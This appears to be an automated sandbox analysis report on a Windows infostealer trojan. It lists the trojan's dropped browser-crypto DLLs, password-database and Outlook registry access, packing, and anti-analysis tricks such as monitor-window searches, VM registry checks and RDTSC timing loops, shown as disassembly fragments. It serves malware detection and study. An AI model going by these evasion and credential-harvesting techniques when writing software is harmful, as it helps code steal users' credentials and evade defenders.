Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013EFACB	0_2_013EFACB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139D47A	0_2_0139D47A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F1446	0_2_012F1446
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012EBC52	0_2_012EBC52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012E3F33	0_2_012E3F33
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F2F5A	0_2_012F2F5A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01238FEE	0_2_01238FEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012EC6B3	0_2_012EC6B3

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00F145C0 appears 316 times

Source: file.exe, 00000000.00000002.1697661447.000000006CE35000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1697788551.000000006FE52000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: hxuoifqe ZLIB complexity 0.9949875810841038

Source: file.exe, 00000000.00000003.1432733405.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F28680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00F28680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F23720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00F23720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\7J42P56Y.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1686511691.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1697577719.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1697319769.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1686511691.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1697577719.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1697319769.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1686511691.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1697577719.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1697319769.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1686511691.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1697577719.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1697319769.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1686511691.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1697577719.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1697319769.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1686511691.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1697319769.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1686511691.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1697577719.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1697319769.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1533233930.000000001D41B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1518659687.000000001D428000.00000004.00000020.00020000.00000000.sdmp, EHJKKKFIIJJKJKFIECBF.0.dr, EHIJDHCAKKFCBGCBAAEC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1686511691.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1697319769.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1686511691.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1697319769.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 36%
Source: file.exe	Virustotal: Detection: 43%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1873408 > 1048576

Source: file.exe

Static PE information: Raw size of hxuoifqe is bigger than: 0x100000 < 0x1a3200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1697747328.000000006FE3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1697577719.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1697577719.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1697747328.000000006FE3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.f10000.0.unpack :EW;.rsrc :W;.idata :W; :EW;hxuoifqe:EW;ttaynojh:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;hxuoifqe:EW;ttaynojh:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F29860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00F29860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d6f17 should be: 0x1cb81b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: hxuoifqe
Source: file.exe	Static PE information: section name: ttaynojh
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01355120 push 1CC8F7DDh; mov dword ptr [esp], edi	0_2_01355150
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01355120 push ebx; mov dword ptr [esp], ecx	0_2_0135516D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013A5114 push 39DE60CEh; mov dword ptr [esp], ebp	0_2_013A5125
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013A5114 push 362EABAEh; mov dword ptr [esp], eax	0_2_013A5142
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013EE17C push ebx; mov dword ptr [esp], edi	0_2_013EE1BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139D175 push 21A8C914h; mov dword ptr [esp], eax	0_2_0139D17D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139D175 push eax; mov dword ptr [esp], ebx	0_2_0139D1C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01372151 push esi; mov dword ptr [esp], esp	0_2_01372157
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01372151 push ecx; mov dword ptr [esp], 7FFAB5CEh	0_2_01372217
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D71F8 push ebp; mov dword ptr [esp], edi	0_2_013D7221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D71F8 push eax; mov dword ptr [esp], 6FA81D48h	0_2_013D725A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D71F8 push 448E5200h; mov dword ptr [esp], edx	0_2_013D727D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F2B035 push ecx; ret	0_2_00F2B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013239D0 push 2C4A01C1h; mov dword ptr [esp], esi	0_2_01323A03
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013239D0 push ecx; mov dword ptr [esp], ebx	0_2_01323A39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012021C6 push 24DE1AABh; mov dword ptr [esp], ecx	0_2_012021F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012021C6 push 50BBEF59h; mov dword ptr [esp], ecx	0_2_01202218
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_015C31BB push ebx; mov dword ptr [esp], edx	0_2_015C31E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_015C31BB push 3AA045AFh; mov dword ptr [esp], ecx	0_2_015C3208
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_015C31BB push 32264DAFh; mov dword ptr [esp], ecx	0_2_015C323B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013679DC push 0957EA9Bh; mov dword ptr [esp], edx	0_2_01367A1F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012DC839 push 252E5356h; mov dword ptr [esp], ebx	0_2_012DC867
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012DC839 push 60DFA6FEh; mov dword ptr [esp], esp	0_2_012DC86F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012DC839 push 49421F5Dh; mov dword ptr [esp], edx	0_2_012DC8C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013AB02C push 25B53C45h; mov dword ptr [esp], eax	0_2_013AB045
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012EE001 push ebp; mov dword ptr [esp], ebx	0_2_012EE01C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012EE001 push 52E4280Ah; mov dword ptr [esp], esp	0_2_012EE024
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012EE001 push 28821483h; mov dword ptr [esp], ebx	0_2_012EE099
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012EE001 push eax; mov dword ptr [esp], 59FA0B09h	0_2_012EE09E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012EE001 push 0544D99Bh; mov dword ptr [esp], eax	0_2_012EE0E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012EE001 push 64B965C3h; mov dword ptr [esp], edx	0_2_012EE104

Source: file.exe

Static PE information: section name: hxuoifqe entropy: 7.954455940984056

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00F29860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13272

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171C59 second address: 1171C64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171C64 second address: 1171C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130223B second address: 1302241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13024CB second address: 13024D8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9F60E618B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13024D8 second address: 13024E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F60D1444Ah 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13055A5 second address: 13055EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F9F60E618B8h 0x0000000f popad 0x00000010 xor dword ptr [esp], 6B481220h 0x00000017 xor esi, dword ptr [ebp+122D3A58h] 0x0000001d lea ebx, dword ptr [ebp+12467443h] 0x00000023 mov dword ptr [ebp+122D2DE9h], edi 0x00000029 push eax 0x0000002a jbe 00007F9F60E618C4h 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 pop eax 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13055EB second address: 13055EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305769 second address: 130576D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305809 second address: 130584E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60D1444Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9F60D1444Eh 0x0000000f nop 0x00000010 add dword ptr [ebp+122D2601h], esi 0x00000016 xor si, 2380h 0x0000001b push 00000000h 0x0000001d sub dword ptr [ebp+122D2CFBh], esi 0x00000023 push eax 0x00000024 mov edx, dword ptr [ebp+122D3B30h] 0x0000002a pop edx 0x0000002b push 667A2BCCh 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130584E second address: 1305852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305852 second address: 130585C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9F60D14446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130585C second address: 1305877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F60E618C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305877 second address: 1305900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 667A2B4Ch 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F9F60D14448h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 jmp 00007F9F60D14451h 0x0000002e push 00000003h 0x00000030 mov edi, 3321EDF2h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007F9F60D14448h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 0000001Ah 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 push 00000003h 0x00000053 sbb dx, C00Bh 0x00000058 call 00007F9F60D14449h 0x0000005d pushad 0x0000005e jns 00007F9F60D14448h 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305900 second address: 1305906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305906 second address: 1305913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305913 second address: 1305935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jnc 00007F9F60E618BEh 0x00000010 jl 00007F9F60E618B8h 0x00000016 pushad 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f push edx 0x00000020 pop edx 0x00000021 popad 0x00000022 rdtsc
